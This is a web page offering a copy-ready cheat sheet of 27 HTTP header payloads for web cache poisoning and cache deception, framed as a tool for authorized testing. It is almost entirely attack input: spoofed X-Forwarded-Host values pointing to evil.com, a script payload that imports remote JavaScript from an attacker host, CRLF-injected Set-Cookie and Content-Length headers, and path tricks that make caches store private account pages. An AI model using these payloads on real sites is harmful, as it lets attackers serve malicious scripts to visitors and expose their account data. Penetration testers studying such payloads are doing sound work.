Copy-ready HTTP header payloads and techniques for finding and exploiting web cache poisoning and cache deception during authorized testing. (27 payloads)
X-Forwarded-Host: evil-attacker.comX-Forwarded-Host: evil.com"><script>import('//evil.com/x.js')</script>X-Host: evil-attacker.comX-Forwarded-Scheme: httpX-Forwarded-Proto: httpX-Forwarded-Server: evil-attacker.comX-Original-URL: /adminGET /?cb=zxcv1 HTTP/1.1
X-Forwarded-Host: canary123.attacker.comPragma: no-cacheGET / HTTP/1.1
Host: target.com
Foo: bar123GET /?utm_source=test HTTP/1.1Vary: User-AgentAccept-Encoding: gzip, deflate, br, identity, zs7d9GET /account/profile/nonexistent.css HTTP/1.1GET /api/me/wcd.js HTTP/1.1GET /settings/foo%2e%2e%2fbar.css HTTP/1.1GET /account%00.css HTTP/1.1GET /account.css?x=1 HTTP/1.1X-Forwarded-Host: evil.com%0d%0aSet-Cookie:%20poison=1GET /?lang=en%0d%0aContent-Length:%200%0d%0a%0d%0a HTTP/1.1X-Metadata-Header: AAAAAAAA...[~8KB of A's]...AAAAX-Forwarded-Host: a.com
X-Forwarded-Host: b.comX-Forwarded-Host: target.com\n\rEvilGET /?keyed=1;excluded_param=cachebuster HTTP/1.1GET /?callback=poison;utm_content=x HTTP/1.1GET /?utm_source=x&utm_source=evil HTTP/1.1GET /js/app.js?cb=1 HTTP/1.1
X-Forwarded-Host: evil.comLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 27 Cache Poisoning payloads for testing Web Cache Poisoning vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the Web Cache Poisoning generator to build customized Cache Poisoning variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Cache Poisoning payloads are completely free, with no account required. Everything runs in your browser.